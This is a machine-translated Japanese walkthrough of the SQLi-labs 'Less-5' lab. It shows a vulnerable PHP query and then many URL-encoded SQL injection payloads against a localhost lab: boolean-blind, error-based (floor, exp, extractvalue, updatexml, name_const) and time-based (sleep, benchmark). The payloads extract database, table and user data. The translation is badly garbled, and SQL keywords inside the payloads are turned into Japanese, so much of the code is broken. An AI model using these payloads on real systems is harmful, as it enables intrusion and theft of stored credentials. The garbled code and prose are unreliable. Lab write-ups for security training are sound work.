背景ソースを確認し、我々はそのリターンに実行したときにのみ、あなたがしている返す正しい結果を見つける....、データベース間で情報を返しません。
$ ID = $ _ GET [ 'ID']; $ SQL = "SELECT * FROMユーザーID = '$ ID' LIMIT 0,1"。 $結果=するmysql_query($ SQL)。 $行=は、mysql_fetch_array($結果)。 IF($行) { エコー'<フォントサイズ= "10"色= "#1 FFFF00">'。 エコー「あなたには...........あります」; エコー「<BR>」。 エコー"</ FONT>"; } 他 { エコー'<フォントサイズ= "3"色= "#1 FFFF00">'。 ますprint_r(mysql_error())。 エコー"</br> </ FONT>"; エコー'<フォント色=フォントサイズ= 3 "#0000FF">'。 }
だから、右の思考のこの列車オフ盲目です。
1、左を使用して(データベース()、1)試してみます
まず、バージョンを見て()
http://127.0.0.1/sql/Less-5/?id=1' 及び左(バージョン()、1)= '5' %23
ここでの発言手段バージョン番号5を見ている返された最初の、明白な結果が正しいではありません。
バージョン番号は適切な時期ではない場合、あなたはである正しく表示できません......
あなたは、データベースのバージョン番号が5.6.17で試してみることができます
次に、データベースの長さを見て
http://127.0.0.1/sql/Less-5/?id=1' および長さ(データベース())= 8%23
長さが8の長さを示す、誤った結果を返し、8です。
私が最初にデータベースを推測します
http://127.0.0.1/sql/Less-5/?id=1' および(データベース()、1)>左 '' - +
データベース()、セキュリティです我々は>かどうか彼の最初の見て、それはS>ので、返却する権利ことは明らかです。私たちの知識がなくても、二分法は、注入効率を改善するために使用することができるとき。
第二に推測データベース
我々は上の2つを見れば最初のSAよりも大きい、というのです
http://127.0.0.1/sql/Less-5/?id=1' 及び左(データベース()、2)> 'SA' - +
類推ダウン、最後のデータベースセキュリティを呼ばれています。
2、SUBSTRを使用して()ASCII()関数の試み
次の方法を使用して、セキュリティデータベーステーブルの下で取得
http://127.0.0.1/sql/Less-5/?id=1' とASCII(TABLE_SCHEMA =データベース()限界0,1 INFORMATION_SCHEMA.TABLESからSUBSTR((セレクトテーブル名)、1,1))> 100 -
ここTABLE_SCHEMAは=「セキュリティ」に書き込むことができますが、ここではデータベースは()のセキュリティであるため、データベースは、我々は、ここで()を使用します。ここでは同じ二分法を正しくテストまでのテストを使用。
最初の表は、電子メールであるため、ここでは、101である必要があります。
最初のテーブルの2番目の文字にそれを取得する方法?我々は、使用SUBSTR(**、2,1)をすることができSUBSTR()関数を、学んできました。
http://127.0.0.1/sql/Less-5/?id=1' とASCII(TABLE_SCHEMA =データベース()限界0,1 INFORMATION_SCHEMA.TABLESからSUBSTR((セレクトテーブル名)、2,1))> 108 - +
どのように、第2のテーブルにそれを取得するには?考えます!
ここでは、私たちが使用0,1を制限する上記の文を見ることができます。0手段を最初から最初の1を取得すること。その第二を取得するにはその制限1,1ではありません!
http://127.0.0.1/sql/Less-5/?id=1' とASCII(TABLE_SCHEMA =データベース()限界1,1 INFORMATION_SCHEMA.TABLESからSUBSTR((セレクトテーブル名)、1,1))> 113 - +
第二つリファラーテーブルであるので、最初のものはRであるため、ここで113リターンは、正確です。
プロセスが常に上記繰り返した後、ここで作られた車輪を繰り返すことはしません。原則は明確に説明されています。
あなたが方法に従って終わっ実行すると、すべてのテーブルの名前を取得することが可能です。
3、表に記載されているユーザーを取得正規噴射正規表現を使用して
次の文は、usersテーブルの列名が私たちの冒頭に記載されているかどうかを選択することです
http://127.0.0.1/sql/Less-5/?id=1' と1 =(table_nameは= information_schema.columnsから1を選択する '^米国の限界0,1ユーザーとのcolumn_name正規表現を') - +
http://127.0.0.1/sql/Less-5/?id=1' 1 =(table_nameは= information_schema.columnsから1を選択 '^ユーザーとCOLUMN_NAMEの正規表現を 'ユーザ名' 限界0,1) - +
ユーザー名が存在する試すことができます。私たちは、このようなパスワードが正しいなど、その他の項目にユーザ名ことができます。
図4に示すように、ユーザ・テーブルの内容を取得するORD()とMID()関数を使用して
http://127.0.0.1/sql/Less-5/?id=1' とORD(ミッド((IDリミット0,1によってsecurity.users順から(キャスト(charとしてユーザー名)、0x20に)IFNULLを選択)、 1,1))= 68 - +
説明:
これはキャスト関数(構文:キャスト(型変換などフィールド名))であることに注意してください、char型へのユーザー名を変換するために(1)キャスト(charとしてユーザー名)、私は、ケースを書くの結果文法の誤りを報告し、いくつかをチェックするために始めました発見前回。
(2)IFNULL文法(expr1と、expr2の)expr1の関数はNULL、IFNULL()戻り式expr1でない場合は、そうでない場合はexpr2のを返します。
(3)0x20には、スペース、ASCIIコードの16進表現です。
(4)中間()文字列の開始位置の開始から、中間(STR、開始、長さ)、ビット文字列strの切片長さの関数インターセプト部。
ASCII((5)ORD()関数)、ASCII値に文字。
要約すると、SQLクエリ、ユーザーがテーブルの列をユーザ名こと、この手段は、比較のための第一の値、最初の文字の傍受、ASCIIコードに変換するため、及び68(レターサイズD)を見つけるためにIDをソート。
テーブル内のデータの最初の行がダムであるから、私たちは知っています。次の缶がだけなので、ホイールを繰り返して作成します。
概要:異なるステートメントを使用して上記の1,2,3,4、私たちは、一度SQLブールブラインドのペイロードの全てによって実証されます。おそらくより良いに精通し、SQLブールブラインドの理解例によって文を注意すること。
次に、私たちはあなたにエラー注入および注入遅延を示しました。
5、エラー注入
床を用いる方法1()関数は、注射が与えられます
http://127.0.0.1/sql/Less-5/?id=1組合1を選択し、COUNT(*)、CONCAT(0x3a、0x3a、(選択したユーザ())、0x3a、0x3a、床(RAND(0 )* 2))によってinformation_schema.columns群から - +
ユーザーを選択しており、()あなたが構築任意のクエリに変更することができます。
上記の平均ハッカーSQLを参照してくださいhttps://www.freebuf.com/articles/web/38315.htmlとhttps://www.cnblogs.com/GH-D/p/8274091.html
二重数値範囲所与噴射式アウトを用いる方法2
+ - http://127.0.0.1/sql/Less-5/?id=1組合は、2,3-((選択ユーザー())))からのexp(〜(選択*)を選択します
原理は、参照して報告されて距離誤差のうちEXP()関数の結果値型の二重注入を使用SQLI-ラボ少ない14
エラー注入bigint型を用いる方法3オーバフロー
http://127.0.0.1/sql/Less-5/?id=1組合を選択します(()*から(選択したユーザ())のxを選択する - !〜0)、2,3 - +
エラー注入機能を利用する方法のXPath
http://127.0.0.1/sql/Less-5/?id=1' 及びEXTRACTVALUE(1、CONCAT(0x7Eを、(@@バージョンを選択)、0x7Eを)) - +
http://127.0.0.1/sql/Less-5/?id=1' およびUPDATEXML(1、CONCAT(0x7Eを、(@@バージョンを選択)、0x7Eを)、1) - +
:原則はを参照することができますhttps://blog.csdn.net/zpy1998zpy/article/details/80631036
再現性のデータを使用する方法
http://127.0.0.1/sql/Less-5/?id=1組合から1,2,3を選択(セレクトNAME_CONST(バージョン()、1)、NAME_CONST(バージョン()、1))X - +
図6に示すように、遅延噴射
スリープ()関数を使用する方法は、遅延噴射を作成します
http://127.0.0.1/sql/Less-5/?id=1'and IF(ASCII(SUBSTR(データベース()、1,1))= 115,1、スリープ(5)) - +
エラーは5秒の遅延がありますとき。
方法2ベンチマーク()関数を使用して遅延噴射を作成
http://127.0.0.1/sql/Less-5/?id=1'UNION(IF(SUBSTRING(現在、1,1)= CHAR(115)を選択し、ベンチマーク(50000000、ENCODE( 'MSG'、 'で+ - TB1として電流として(選択データベース())から、5秒))、NULL))、2,3-
正しい結果が(「5秒による」「MSG」、)実行ENCODEが50万回を操作したときと、それはしばらく時間がかかります。
この時点で、我々は上記ブラインド、上記の方法を使用する必要があり、すべてにless5に一度示しています。それ以降のレベルでは、それは進歩的なプレゼンテーションを選ぶだろう、他のブラインドはless5ご参照ください。